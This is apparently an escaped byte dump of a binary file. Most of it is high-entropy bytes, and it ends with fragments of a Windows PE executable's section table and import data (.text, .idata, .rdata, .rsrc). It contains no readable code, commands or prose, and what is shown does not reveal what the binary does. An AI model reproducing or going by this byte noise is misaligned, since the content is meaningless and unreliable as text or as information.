xd2\xfc\x95\xf6\x92\xfa>?\xc4\x15J\x17KqqT\x00\xf6\xe2\xfc\xe30\x13\xc3_5\x14\xf6V\x0f\xa0u\xd27\x87]\xf9\xf9\x9b\xecj\xed\xe8L\xba\x9c",t`\xe0\xad\xcf\xbd\xcc\xb9T\xd3\xc2\x1c\xc8\xc6e\xb4\x87\xf9\x96\x92\x1b\xef\x16\x84g\x90\xf00Q\xcc\x03Z\x8f]Q;\r\xe6\x8fB1\xb0e\xb5\x03+ :\xfe\xe3\n\x8e\x91\x96\x01<[\xc8\xb9\xdc\x9b\x1b\x99\x87.\x9f\x89\xd7\x83\x81\x7f\x1eaF\xb1r\x03\x82\xbcS\x03w\xf7\x9a\xbcX\xd8\xf2gH\xc3\xaf(\xd7^tKGe\xe5J\x9ek@\x034j\x93e\xd4\x90\xb0QqGJ2\x7f\xa48\x0c\x0c\x8d\x05}\xe7\x95\xf1A\xae\xe6\x04H\xf5\x8e\xefq\xa3<\x8a\x9d\x8d\x94-\xc8+\xb0\xa5\x9a\xac\r\x94\xfe\x13\x19\xc0\xb7\xe6_\x13\x92\x9f)\x8ew\xdf\x87\xb1\xc4\xf3I\xd8\xcc\xfa\xe5\xba\x17Y\xdf\x02u6\x04\x17\x1d\x9d\xb0\n\x7fy\xa1\xe2T \xb9\xb1j\x98\xa0\xfe\xf8\xd7\x191Q\xa3<\xcd\x0e]\xd9%\xc5\xb7\\)\xf1\x0e\xe7\x8b\x9e\x7f7\xdd"evc\xb6Nr\xe7a\xe2uqHbr\x87a\xd9\xf0\n\'\x9e4\xda|\x08\x03\xe2 tS\xc8B\x86J>\xf8\xc43\xed:\xda\xb5\xf4At\xb6\xa13k\x92M\x11\x7f\xcfK\xee@PM\x05i\xfeQE\x97N\x10\xc6\x1b:(T\x852\xbep\xf4\xcf\x01\xa6\xf7Q4\xc0$\x05\x1d\x1d-\x9a\xd4FA%\x9d^\xe8\xe4Jk\xca\xef\x04Gi\xc5\x12\xa5\x9b M\xc7h\x06\x02\xbcMw\xc2\xa2\xe9\x89\x9a\x0bM\n\xca\xa9\xa4\xadb\xc3y31\xb3\xecp\x90\xb9\x88\xf22hnP\xc6X\xef\x17\x82\xee"\x10\x92\x89\xf7\x03\x08\xa7\xcc\xaeH\xf00N"\xc3oJ\xe7\xc8\x11&x\x03\x01\xb0Z\xa5\xcd\xf4\xf1\x87I\xad\x92\xa7\x951\x95Z)\x07\x99\xe7\xfd\xc91|y\x12\x96\xcaI\x14\x88\x80\xa6\xfa\\\xa3?v\xdc\xb5\xe2\xd2\xb9\xb2FA\xc3=\xeaX\x8c3\x93\xc9\xf3#\xeb`d7\xf5g\xc9]\xdd\xb1\x86\x19\xd4\xc1t\xc5\xdd\x8f\xeb\xb4\xe0\xfa\x17\x82+,g\x9a]\xba\x92C\xec\xa1\xab\x9d\x19:ku\xbf\x0f\xa7\xf1\xf6\xa6\xe7\xbfq6\x9b#F\x8b\xda7c\xa5w:\xab|\xa2\xb7\x17\xae\xde\xb9\xed$\xe2\x94\xe2\xf2X\x9f\xb4\xb1\xc8\xafG3@\xfe\x1eq\xe2\xe4p&\xc9\xff\xae\xedQ\x9b4\xa3JL\xc8+\xe58F\x94\x1c\xf0\x9f\xe3\x977\xc2\xbc\xdbce\x99\xcb\xc8\xc8\xf0\x8b{G,\x97A\xa7\xde\xfcX\xd9UY/\x89\xb1\xd1\xc2*\xec\xf5\xbc\xed\xb2\xd8\r\xe5\xf3\x065\xe0c\x96\x0b,\xb9jvr\xd1\xf8`\x05\xe6-=\xb2B3V*K`\xcbT\x9b\xd9\xee\x17~\x84\xd4^\xb0!\xd7\x91\xf4P\xd8\x1e\xe2*\xd0Zjo\x19\xc0/Z\x91\x11\xc6\x96~0\xb5\xfc@\x14\x89\xe7\xbav\x1b2\x87v\x81\xfb\xea\x10\xc7\xb8\xb8\xfe\xa6\xa0w_Ub\xe7\x8az/\xfd\xd4\xf3]$\x93\xdf\xe9\x81R\x15+\x1e\x16F\xddO\x9eQ\x1a\xd7\xab>\x8f\xe0x\x91Wg08Ks\xfe\xa0\xbf\xfdYd\x8a\'\xcf\x0f\xc9[-\xdc\xd0\xb8D\x8a\x13\x92J\xb0\x97\xef\xf1\xce\x1cW$\xb63\x84\x07\xa2\x17l\xb1u\x0f\xac\xd5\xd6\xf6[\xe0{}\x00)S\xe2)\xcfH?\xaa\x13baU\x805\xda>\xa3\xc5l\x86:\xa0y 8\xf4\x1c\x9f8\xe7\x00\n\x1f\xa9\xa9=\xa68\x8c\xa0\x9d\xa7\x86K\x15"\x0b\\\xcb\x13\xd2\xa8_C\xdd\x08\xd2d\xf7\xe3\xb2\xe6\x99\xcc|\x82\x06n\xbc\xf6U\x06\x94\\\xc4\xbc\x85\x1b\xb4i3S4\xdaH\xc5\x86?\xf7H\xc3e\xe9B\xa4vh\xe4\x87SZ\xcc\x7f\xf4\x17\x84\xf5\xa8\xf4\x86\x97\x99\xbf\xc1\xc9T\xd5<!:\xbc\xc2\x8d\x1b\xcc\xc82\xec)\x1d\xf5\xb0\xe7\xcd\x15\xb9\t4!\xe4\x826\x16\xdd\xc9\xc4i\x01\nW\xb1\xd4\xcb\xe96\xbfw\xf9\x06\xa6\x92\xf1-\xe9FXRl\x0fZ\x9c\xa8\xd0\xae\xbdE\xfb\xc9\x8e\xf8\x1e\x96n\xff+\x00n\x88w\xfa\xc4\x04j@=i\xd8\xa0\xf72\xeaE\xe0\x8c\xccR\x98y\xb7Z\xfew\x96j e\x14.T\xb7\x95\x81\xcbR\xc5\x94\x9a\x11\x9f\xd0\x1aO\xb8\xaa\xc1\riV\x1d\xca\xdf\x8a*\x8c\x9a\x9b\x9a=\r\x8f+?\'\xa80\xec\xca\x01I\xef\xdc\xa0\xad\xad\xb7K\xba{\x92l\xa3L\x8aQ\x05Y,\x96\x0f\x08\xf2\x8c\x19\xbe\x858\xf7\xc2\xab\x83\x1dr_\xdag\xad\xb4\xf2\xe6\xces\xaa\x96\xae\xfc\xb1\xdd\x0b\x06\x05IC,\x15\xbb\x8d;\x15\xcb\xd3\x81\x1d\xf9\x13\x80\xdc+\x82\xe6\xedazY\xe1\xac\x83~M\xc4\x8f\xb0Vh\x91\x03tq\x149l\n8TcC?mo\x89X\x80\xc0W7\xd3\xbf\x14\xccs\x02\xa5R\x88\x94\xaa+\x8e\x87\xc6\xec\x86\x94\x02\xc0\x12\xa8u\x17\xc4\xf8\xac\rM\xb5i\x8c*\xd2;\xe6<\x06\xe1\x15d\xc8?.u\xa4$X,\xdf\x98YL\x0c\x85 \xd4\xb1T\x11Z\x9dm!\x0b\xc7cm:\xe4\x80\xa6\x80A>\x9d\x85M\x1cvk\xf03\x7f9\x18M5\x7f\xf0p\xcf\xe4\xcdY.\xaein7\x1c\x9en\x9eyZ\xf9-\xee\xb0]A\x82\xc7)\xd1\x02\x10\xf7\xbb\x9d\xa4\xaa\x8e\xbezV\xde\x1b\xe9\x85\xf8\xf6\xf9\xf8\xc4(@[L\xa2\xc4b\xa0\xc8\xce\x8aoiX\x8d\xe5\x13@\x1c\xab$\x07\x99h"\x98\xae7\xea)\xfaPE\xfe\xf9OO\\\x92C\x88zC\x94\xe2\xd0Q\xd8\x82\xe7R\xd5\xef\x84\xdcq\xe9\xeb\x02\xa9\x17\xdc3g\x1d\x87\xb1O6\'\x8f*]%\xcf-$\xc1\x1eH\x00\xda\xae\xf7\xcd\xd3\xe2\xf9\xa4/ym\xb4\x8f\x1f\xf4\xea\xe2\x90jVL\x86g6F\x03\xfa\xa8&\xb9\xe6yq\xb0\xa7\xde\xdb\xc9\xa2 \xd8\xf7\x81\xd4\x87(\x95.\xf6g^\xf1+\xfe\xbf\xc8\x9e%\xc0\xb5\xd77\xf8\xea\x0c \x11W\x86\xf2^G2r\xba}2\xe5\xc3\x86\x8dz\x02\xd0\xae\xe4J\x1f+\x96e\xb2\xc7\xbe@\xb9\xc3\xe0k"h}\x12_&$\xe2\xfa\x80\xbc\xf1]N\xe3\x8fD\xea\x08\x9b\xf3\xac\x8b?\x15\x93a|hLM\xfe\x83\x12\xe5|\xe1\xedL\xcaREu\x18\xbe\xe7\xac\x08wTZ+Yh_V<\xe9\x08\xb1\x10*\t)\xad\x84\x92F\n\xc6\xa6\x96\x9a\x7f6N\xe6X\xe7\xc3\x8a\x9b\xfc|\xcf\x0e\\\xb6\xa0\xf1\xd2\xc5\x18]\xaf\x89\xc9\xfc~\x93\x0e\xa3\xe3\xda\x92\x8e\xe2D\x05\x11\xf8]!\x01\xb3G+\xd5B\x94\x1a\x93R\xeae\xfb\x9a\x19\xad\xdf\xc8`4\xe8X\xb9\x08\x80\x16\xe3\x0cNB\x07\\\xc6\xca\xe1\x86\xc6K\xf68\x81s7\xb2Q\x06\xbfX\x99\xa6\xaa\xd4\xe2\xa4\xc8}\x95\x8a\xb4\xdf\xf9\x1c\x1a\xa0\xaa\xfbe\xcf\xaeH\xb0\xef8\x9c\x050\x98<\x1b\x82\x17u\x10g\x07\x97\x80\xf4\xf3\xad[#O\x9cg3(\x01\r\x7f.\xf3"E\xb5\xd7[\x9b\xa2\x82\xab\x8b\xb0{Mw\x0c2h:\x16\xe7\\\x07\n`\xcc$\xeeKF|E\xae\xbb\x156\x9c[\r\xbc}\xfbN!v\x86\xc5\x8e:p\x91\xa7\x97s-\xac\xa0\xb5\xfb\x0e\xe4\xa3\x89\x1a2\x1e\x7f\xc3-\xed\x8d\xde\x9fd\xe4\xfa\x91t\xc1m\xb5\x8dM\xfd_\xcbx]\xf16\x13\x9b8\xa5\x19N\xfb\xac\xf3,&\xf9s]~GS\xc4\xb4\xa4\'\x7fbJ\x19\xdb!\x89.3!\xf1\x9e*R\xb8\xde>\xbf\x1a\xbc6\n,\x93\x8a\x10\x01\xd1\xfc\x0be\x1a\xab\x17\xc3\x1f\x82\xabr\xd0v0lL\r}*\xb6L\xb9Oza\x99O\xcc\x1a\xb2Q\\\r-\xc4\xa0\x8d\xc4\xe8\xe7\xd8\x97\x8eu\x99K\xcbR\xd9\x84s\xa4\x99\xc1\xf8\x18[+r\xb8\r\x07\xc1%\x9c\xfa\x9d\xe0>a\xef;\xc1&s\xc7\xaf\x9e/~\n\xe0\xc2\xea,\x9a\xf7\x17h\xab\x84\xd9sc\xbdI\x01*\xfc\xebx\x06\x84`\xe0\x9dCa\x08\x94\xacu\x8c5\xb2\x80h\xcd\x8f)\xfd\x01?\xd3gzP\x99\x17&\xfb\x03\x94\xd0\xb0\x9f\xa9\xfcS\xa9YT\x06O\xbbv\x19\xab\xa7=d\xa3]O\\\x8d\xa3\r\xd1\x0e\xa6\xb7\x8f\x8a_\xb1\xc9%\xc9:C\x18ax\xe6)\x0c\x92\xd8=:\xb7\x9156X\xf8\xcd\x07(\xd7\x0e\xfabf\xbc\x83[s\x10\xfd\x1b\xdcA\xfc)T\x16\t\xaaj>Y%\x96\x05Z\xccpNu\xc7P\x11\xad\xa8\x1a`\xd1P\xa5\x0b\xea&\xd6?BS\x87\xa0\x84J\x97\x14G\x05R\x1e\xa8ng\x9e\xf9}%\n;\x82\xaf\xa9\x9c\xac\x87A\x10,\xc7\xea\x9a\x1d6\xe7o\x15\xb0\x15\xdag\xba\x9a71~\xe6\x12\xa2,x\xdd\xcb#\x96\xb9\xbdF:Y@\x1b\xd8\x03#A\xa4e\xe2\x93\xc5\x9b\xb3\xf1\xda\x97OQ\xb4\r\xdfx\xe7^\x91\x90\x8a\x0c\x06J\xc8i\xf6KT\xcf\xcd\xe63&\xf8Y\xff+\xed@\x0c\x1d.H\n\xeb\xbbiq\x02\x1d\xe8#\xc6Z\xc5i`\x97\xb9\x1d\xad$\xfeK]\xce\x1e\x10\x06\xbcG8\x87?\x13\xc7\xac9K\xf2\xfa\x87\x9e\xb0u\xcd\x90\x9a\xbe\x82\x04\xd1F8\x0fx\xe8\n^\xfdj\xe0\xa2\x11\xa6\xdc\x94\x1a\x11f\xea\x19\xca\x00\xf4\xfe=n\xf9$\xab\xfe\xf0Ey~\x19#\xda\xcf5}gB\xf7>7\x93\xf9\x97u\xf6\x7f~d\xa7\x12\xcb\xa87\xf5f\xebCV\xebe\x04a\xa0\x01\x14\'\nqm\xb7\xc9\xe1\xdd\x9a\xb1\xd9\xc5d@\x8a\x1dM8\xc1~\xb6\x02\x06\xf2\xf5\x88\x90$L\x83\x1e\xd7\xd4\xd89\x95\x8fPu\x1f\x02\xc7i\x8a\xcb\xb3\x8eCD\x9cE\x9fXs\x80\x81\x1b*)>\x01y\x9a\x04)\xc0\xdeP&\xb6\x9f\xb7\x16\xa3r\x85\x100X0\xf1\x80\'CV\xc5\x1d\xd8\x998\xc8\xe3\xac\xd7\xfc\xd9{\xf8\xdb|\x14\xe7"\xbf\x05\xf01!a\x08<\x1c\x86b\xb8\xc2\xbd\xa9IY\xb4m\xc3\x16\x01\x86$0\n\x81\x04\xfb\xd1Iu\x97\x9a\xed\x9aEe\xb6ms\x81\x05X\xce<\x0ct\xdb\x8d[\xfbX\xb5\x80\xabe?\x15\x11W)XA\xb7\x9ar\x9e\xc7\x9c\xa2\x96\xb2\xe5"+\xd2\x96\xc3\x11\x89>b\xb6\xee)C\xe2f\xd8Y|\xb5\xbb\xdb(\xf1\xa2\xa7\x8a\x11\x0b\x18D,\xf2:\x85\xa4\xb2~O_\xad\xae\xa0"|\x01\xcdW\x90\xa7\xdbEil>\xa3\xb5\xcf\xc5/2\xf1\xc5\xd06\x92\x99\x87dd"@\xc4t\x8b,@\x07\xb2\r\xc0\xd4\xba\xf6\xa8\xe6/r,\x10\x88\x9b\x07\xd6\xf0\x95LV\x1b\x8a*|`\xcc\x06\x95\x9bU\x03_c\xff\x83\xdc\xab\x81\x11\xb3\xeflO\x15\x9b<\xfb\x8d\x1e\x12\xb0\x10\xb8\x0en\xdf\xc3\xef\xf0F\x93\xe1j\x851I\xd4\x83\x15\xbb\xa4\x01\xa9\xcd+%\xcf\xe0\xf8\xef\xdc>\xce\xb88\x8b\xc7\xd0E{\xc5P\t\xe9l>2:\xf2\xbd$:\xe2\x80\xefn\xa9e\xc0\x93\xc1\x8b\xa9\xe1\xc2\xa2<\xc6n\x0fn\xeeP\xa2\xd4\x81\x1a\xd9\x168\xb0\xe5\x96J\xcc\xc4\xf28\x8d\tj\xaf\xc7u\x97\xb1\x15J=\xf0\xf7\xfa\x03\xe2\x94\x81\x0c\xc7Q\xda\x1b\x18"h\x11\xc7\x06n\xe4\xe2\x8a\x17\xf0\xad\x1b\xd6\x8b\xe9<\xf3\xc2\xadH\x96\xfdw!\xacM\xc7\xb0\x11\x11\xabY\xf1z\xcf/\xa5\xe4kC\xb9\xfc\xa0\x16\xe6\xcbR\xb3\x9f\x87\xc9\xc1\xdb\xa22\xe7\xf67\xe3H\xae\xc6^\xa3\xa9ak\xe2\xd1\x12\xf3\x90\x86\xe6Od\x17\x81\x03\xc0\x85\xb2\xd2\x8b\x91\x0b\x03\xf2(\xcdES\xd6\xf3\xd7\xf5\xd8\x94],\x04]\x14N>t\xb0\xc6V\xa1T\xb0\xd7Xw\x16\xee\xb0\xe9 \xcf\x02\xaarz\xe0\xcfE}\xf7\xad\xdc\x96\x89\xb5\x0e\x00\x12`L=aH\xad\xb6\x01\x85\xc37\x1a\x93\xb6\xc7\xaf^\x1d\xbd\x12\xa3\xa8\xc1\x8e\x82b\xbc\x00o\xed\x18\x9c\x7fl\x10\xe4\xff\xd4p\xab\xda\xc9\x88Z\xbc\xda\xdc\xd6\x06\xff\x98\xe9\xeex\xa1\x1a\xad\xec\x13\xac7jr\xbb\x97|&_\xb8\x80\xfd\xe9c\xed\x85\xe9\xb4,oi>b\xe1\x96\n\xe4D:\xcd\x9f:d7\x9a\xf6\xf6\xa6\xa4\xd70\x93\x14\xda\xf6\xf9\xb2\xc2\x87\xdc\xd5\x15\x03\'g)\x04\xff\xb5\x9d+\xa7\x8fV\xf9\xf8\x89mI`>\xa8\xc9 \xf9\x9a=\x15\xc2\x99,\xaa;o3^\xe9\x06\xfb\xdd\xc6:\xb6\xd3\xef\xc1\x0e\xb4\x184\x04\xa5\xf1\x19\x85\xf4\xa6^\xba\xdf\rUf<\x80\xd7k$\x871\xfbP\x97l!<J\xbcPD\xa9\xe5{\x88\xdc\xa7n\x07\xee\x0f\xa6\xb2\r\x13\xa0\xda@^\x19;\x82E\xc1~\x0e\xda,\xeb\x16D\x07Yb\\\x99\x89\xc0\xcc\x16j\x9d\xc6\xb7\xea\x82R<\xf0XM\xb8\x07\xda\xa8O\xdb\x1e\xfd\xe9\xac\xec\xd8\xd4\x7f\xc5vU\xf5B/\x8f\xa0I\xa3\xea\x1a\x03\x9fap\x83\xcb\xb5\x9f"\x16KO\x9fKiA\xb5\x9f\xba\xe5^\xbe\x07\xbc\xd0\x95\xb5N\xf7\xa5\xb2\xa4|\xfd\x87\xe2%Tw\xfe\x97)3zg\x06\xfb\xcc\x9a\xd1\xd2\xb4H\n\x1f\x1e\xd6:\xe5\xba/p\xd8\x89\xdf\xa3\xa89W\\\xe4\x8d\x87\xd4\x06\\\xa1\xa8\xeb\x944\xca\xddV\xf3B\xcc\xdd\x93\x8eb\x1d\x0f\x98k\xd2\xa85\x12\x18\x8a9S\xca8-\xec\xca\xb2\x9f(Y\xf1\xbf\xfa.\xa6\xe5\xe7\xc5"6\xfaR\xc4b\xb0\x18k\xfbx\xb4\x82\x9b\xdb\x0cp\x13\x00I\xb2@\xe6\x9fA=u\xe8\x95\xd3\xdc\xc9\'Z\xfe\xa5\x96\xb1\xd3\x88\xfd\xd5\x97\xa5\xd8SGh[\xf9\x98\xee\xe1\x98\x8e;\x11\x92#\xd5p\xe2\x82\xf2\xd5t\xcb\xa4\xb1t7\xbe\xae\x07\xb7\xd8\x8c\x13\x05\xa1\xecs\n\xf7\x07\x08\x84\x8az\xa6u\x03\x9d#(\xe7\x9d\x1as,ro\x8d\x83\x1d\x16\x83\x19\x9f\x80\xbc\x866!]\xc8\x80\xf2\xd5\x1d\x88\x08\x05G-\xda\n\xe5X\xe5\xa6\x0e`o\xe5\xf8a$\xa0\xb4h\xa1\n\xdev\xacl\xbb\x1cW\x1b\x9f\xea\xbb.\x9bX\x18Ol_A\xe4\xca$O:/\x06\x81O\xfc\xc4\xac\xa8\x19\x17\xf3\xd5\xbc\x0c\xa6\xb3*Y\xd8\x7f\x16\xf3L*\x0c\\a\x13\xaas\x80\x91\xa6\x91j\'\xff\xb7X.y\x1e\x80\xd7\x05\x11!\x06K\xfa\xceX\xd7\x13Me\xbc\xbeX4q\x95\r\x95\xa2f\x1c\x10\\\xd0\xa1L\x0e\xa2\xe1\xa8\x8d\x94\xe5\xe0\x18\xd0\x8d\x18\xf5\xd0a6|b\x9bF\x19\x9eQ\xbd]s\xfa\xee\xf7X\xb22\x14\x1d=Y\xd9\xcc\x17\xbb\xc7\xbd!\xc2\x03\x88\x9eR\x93y\xf55cDi\xcb~\x9b\xe0G\x03dq\xfb\xa9\x05\xc3\xf8\x12\xa6\x0c\x18G\xe7t\xeb\xf4\xe1&\xe8\x01\xf5\x05\xdde{\x1aip\xdb\x95\xef\xab\xf4 \xe1\xc45\xf0u\x0bn/\x0b\x8c\xb9\x19\xc0\xd1au\xa5\xfe\xb9K\x8b{"c\xa8\x03\xf4\xa7:\xe8\x8bb\xcd\x82\x82L\xdc\x9f0\xfe]S\xb8\x8d\\\xb4\x84\x16$\xd6Oj!R\xef\xc8\x0f\t\xc7\xf8\x03\xe1\xeb\x04\x7f#\xb5U;\x9a\xf9\xc3\xde\xab\x8f\xd1\x18\x83\xe5\x91lq\xaa\x9e\x80]\n\x10D\xf5\xf2r\t\x90\x84\xd1y3JH\x1d,0Jm\xb6\xcc\x0c\xbda\xe4\x130_\\\xef\x15\xea9I\x0e\xee\xdd\x7fg\xafeS\x8av\xb1\x07\x85\x80t\x19\xdclyGS\xc4\xd2\xe5\xff\x89\xe0\xc9\xe8\xaf\xc9\x83K*!L\x90\xfe\xd2\xd2\xf8\x94-\xd8B\xfbYZib\x1f?\xbb\x1a\x1eq\xed\x15\xa4\x9e_\x19\xe5\xa7\x9c9[\x95\xf4\x05\xd9\x91\xb7{\x9a\x036\xb6\xa3f\xb0\xc2\xbd%\xb6\x89\xac\xea+z\x17\xd2gh#k\x17\xb4O\xce\xce\xd4-\x13\xc9\x1d\xf3\x9ay(f\x9a\xea\x87\xeb\xa3\x88jW\x19\x83\xcc\xa5\xdf\xab\xce\xcc1\x0b_\x91\xde^\x12"\x98\xf2ka\xd5\x9f\x12u\xc5\x98|\xb0U\xb3\xa8z\x1ax\xfe\x8d\xd7\xbc!?A\x9f\x07c\xb7\xbe.\xbc\xb3P25R\xdfV2\x8eL\xa0\x88\x1c\x10?3\r\x94\xdei\xe8S\xd3\xa5\x84\xad\xe6\xb4>\x02\xbc\xcf\xe8\xeb\x86oL\xec\x0er\xaaICL:\x97.FB\xf2\x8dR\x0e\x83kV{\xa3<\x9a\x8c\xb30\x1fFo\x904QB\xac\xcf\xac\x80lYU\xd6M\x9c\xb3\xf5K\xca\x97r\xe8[-\x9e;M;W\x837\xbf12\xb3\xd6\x1e\x92\xb8\xf4\x19Gk\xecv(K0\xbb\x04\x06\t\xc6\n\x13\xe3\xf68\x99\xdcZ#IM\x97\x95tsUU"\xf5\x88\xc0\xda\x19\x9d\x13\x18\x90T\xd8\x82)?\xa4\xb34)\xf7\xe0>\xac\x1b1\xcb\t\xbdV\t\xc0nR\x91"\xcb^\xfc\xad\x96e*`\xcd\xe8\xcf\xc3vS\x0ba \xc6\xb7X\x184\x93\x90.\xd9P\x872\xe7\x07\x86\x13\x8b\xbd13=\xda\xb9\x83\xc2\xdb}X\xc4c8\x98\x1df\xd91\xec@\xd50\xf7\x88:\xd1>\x0e\xd6\x04\rD\xc2{\xfd\xa1\x95D0\x9er\xf5\xda\xe1\x82\x7f\xf1ly\x14;\x1d\x19\xc0]9\xe3\xc9\xf3w\xab\xd9D<\xff[+\x9bR\xd1\xeft0\xc1\xc5wu\x17\x10\x86\xd2\xc93\x0b\xdc\x07\xe7\xc8\x92\x97\x97~\x18\x98\x1b\xcb\xdfH\x06\xe5\xfc:(\xe1\xd8L(C\x10\xb8`\xc5G\xc4g\xfaZ\x1fQI\x05\xcdH\xa3\xa4]&\x8bYF,\x87\xff\xedc\x10\x05\x11i\xfb\x82\xf7y\x15\xc0q\xd5rd#Z\xea\x04n2\xd0\x89\x19\xc4\xe7s\xa6\x88\x90Vc7\xd9\xbdb#\xf6\xc68y!gcaW\xf1\xa1C\x05\xdb\x17\xf6\xa0\xcb\xae\xb4s\xfd\xc2L\x131\xf5\xe9\xe7\xe5N\x01\xbc\x01\xec`\xad\xa3Jtd\xa0cr\xd7E\xc2\xcd\xd9\xb9*n\x06uxH\xfa\x13T)Y\x9b\xb9\xdf\x8d0A\x9d}z$ \x8a\x06\x11\xfbf\xeb(rF\x9d\x1e\xba\x95\x12X\xd5\x95\x91\xf4\x86N\xc0e\xb8\x1cjl\x95\xe4\xdeFy\x99<\x19\x9a\x8dE\xf5m\xe7\x92[\xac\x19.\t6\xc9\xde\xef|\xf7\xea\\\xf7.h\xa6Y}&f\xe6\xcei/\x02a\x18\xb8w\x88\xfe: +\xe1\xe7{\xf1\x80I\xc8\xa6\x83\x12\x12\x02\xf78\xbcZ\x95\xdeR\xf4\x94\x16\xbb\x93-\xbbb\n\x07\xa4\x9d\x8fc\xc6\xb1\x03>\xcbh\x95\x1d\xd0\x88\x00\x11\x99\x1d\xf1\x1b\xbd\xe2\xf2\x8cG\xf2K\xd1\xfbh\xa3\x8d\x95\x98\xe9B\xcc;\xb6\xd6\xc0F!\xf1\xf3\x84N\xbdM\xdcF\xdd\x1f"\\\x14\xf0\x0f\x98>y\xd8\xb1\xa2Fns\xfd\xc9Y^\x04\x1c\x135q\xc2M*\xf3QBi\x97D\xbei4\x1b\x18"\x88\x9b\x0c\xf2\xa8\xd6\xf2\xa8\r\x8a\xdf\xa4r\xe8\xdco\xcf|\xba\x1c\xa5\xb7\xfa\x17js \xd8\x18\x07\xd7\xc4\x94\xe0 \xbf#\xa9\x08\xbe8\x9e.\xe4\xe3\'\xe1.\xbc`\x02\xa1\x86\xa10\xc9\x8eu^A\x8e\xd9\xac%\xba\x1a\x1b\xcf\x82\xce2J\xd8\x8b\xf1\xc0\x11T\xbb\xc1\xa3\xb0wzS%\xc0t\xce\r\xf8\xebX+\x0c\xa8p\x1c\x96M\x82\xf1\xbd\x9e\x91\xd5\xdf|\xbb\xea5\x19\x9b\x10=\x9e?%z+\xa0\xb0\x84p\x81\x05\xf9q\xc6H\x7fY\xfc\x9c\xc9-`T\x8fv\xac\xd0A\x95\x1d\xddIMJU\xc9\xce\x8dv\x91N\xe6\xfe{\xe3\xbeu\x88\xc3\xdf\x8c]rC\x05\xe0`\x1eR\xf2c\x9c\x8c\'\xd9\xd5\xda\xa7\x07\xa9C\xcdIMU\x10\xe4T\x01`\xcf\xbb\xd4\xef\x80b)w\xd1\xd5\x1d\xb8g?GG$\xdc\xed7\t\xe2\xd1L<\xbd\xeaL\xed\xad\xd1\xa1\x8aB\xd9\xc6\xca\x11I\xb0:\xa4\x17D\xb9\xd5\x19\xf1\xbc\xd73h\x06\x7f\xa2`\xa7\x86\'\xf1\xbf\x8f\xf5+\x0fn9\xafH-\x0fC\x90\xd0\xdf\xb6\xb7\xd2N\xa7\x89t\xce\xfb\xa1#\xfbhY\xd2\xd0\xbb\t6\xf2a\xfdh\x99y/\x06L:\x9d\x06\\\x85\x91\xbd<\xa2M\xb8\x8f\x85\x11\xbd<a\xe8\x04\x17~\xf0\xef.\\\xcd\xd93W\x12\n\xb7V\xee\xb8\x0c\xc9Aw\xd557\x05S\xfb\x1f\x82\xf2\xad\x11\xfbwR\xe1\xf6\xa9\xa3\xd8\xba\xab\x7f\xc9!\xe2\xbcx\xa3\xf8S\xca\xcf\xc7\x1c\x18\xf0\xaf\x8fo\xb4D\xc9i\xb3\xd3\r\xe99\xc40=\x94&\xe2\xe8w\xa4\x1fOB\x1b\xab\x8c\xafMV\x08+\xc0\xa4\xe5J\xe7\x9f\xc5\xb0Q\x88\xb9\x87\xb7\x05\x13\xd2\xfc\x9e\xd1g\xc3*\x97\xd2j\xe0\x8b\x95\xc5X"B\xaaK\xedc\x95\x9b\x87^\xa1u\xd4\xe2S\x8b\xe6\x0b\xfd\x0b\xcd\x9e\xc9_#\x84\xa1U\x02)!\x92\x9f\xe6g\xe7|\x17\xff\xc2g&\x08\xe51\xf6f\xea!\xd4\xa0\x90+\xc2\xe7\x15W{\x84\xa7\xd6W`qm\x80\xe4\xfb\xf4\x01\xe5\xfb\xb0mx:\x8e\x9d+x\x9e\x0f\xa2\xdf\xbb\x19\xe7\xa9\xf5\xd4\xffW\xdfB\x08\xef%\xc3\xe9\xb0\x9a\xb5\xa2\x1a;A\xc2\xc1f\x01Z\xef\x99\x1d\xc3\x1f\\\x7fG\xd3h\xcd\xe29\xf4y\xd9\x95\xd6\xa9+\xba\xea\x07\xf6\x0cT\x9d\xb2\xe9\xa9\x99V\x8e\xcd\xa7\xb3\xe5m/w\x00\x81\xf4\xa2\x85\x94&\xc2\x80C\x00\x00lC\x00\x00XC\x00\x00FC\x00\x006C\x00\x00$C\x00\x00\x16C\x00\x00\x00\x00\x00\x00\xc8B\x00\x00\xdaB\x00\x00\xecB\x00\x00\xfeB\x00\x00\x00\x00\x00\x00bB\x00\x00\xb2B\x00\x00\xa2B\x00\x00\x92B\x00\x00\x82B\x00\x00pB\x00\x00PB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa8A@\x00\xacA@\x00`Q@\x00x@@\x00\x00\x00\x00\x00\x00\x000\x00X9@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15YPb\x00\x00\x00\x00\r\x00\x00\x00\x0c\x01\x00\x00\x9c@\x00\x00\x9c0\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00D*\x00\x00.text\x00\x00\x00D:\x00\x00B\x00\x00\x00.text$mn\x00\x00\x00\x00\x00@\x00\x00`\x00\x00\x00.idata$5\x00\x00\x00\x00`@\x00\x00<\x00\x00\x00.rdata\x00\x00\x9c@\x00\x00\x0c\x01\x00\x00.rdata$zzzdbg\x00\x00\x00\xa8A\x00\x00\x04\x00\x00\x00.tls\x00\x00\x00\x00\xacA\x00\x00<\x00\x00\x00.idata$2\x00\x00\x00\x00\xe8A\x00\x00\x14\x00\x00\x00.idata$3\x00\x00\x00\x00\xfcA\x00\x00T\x00\x00\x00.idata$4\x00\x00\x00\x00PB\x00\x00P\x01\x00\x00.idata$6\x00\x00\x00\x00\x00P\x00\x00p\x01\x00\x00.data\x00\x00\x00pQ\x00\x00\xf0\x00\x00\x00.bss\x00\x00\x00\x00\x00`\x00\x00`\x00\x00\x00.rsrc$01\x00\x00\x00\x00``\x00\x00\x80\x01\x00\x00.rsrc$02\x00\x00\x00\x00\xff\xff\xff\xff0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbeB\x00\x004@\x00\x00\x1cB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\nC\x00\x00 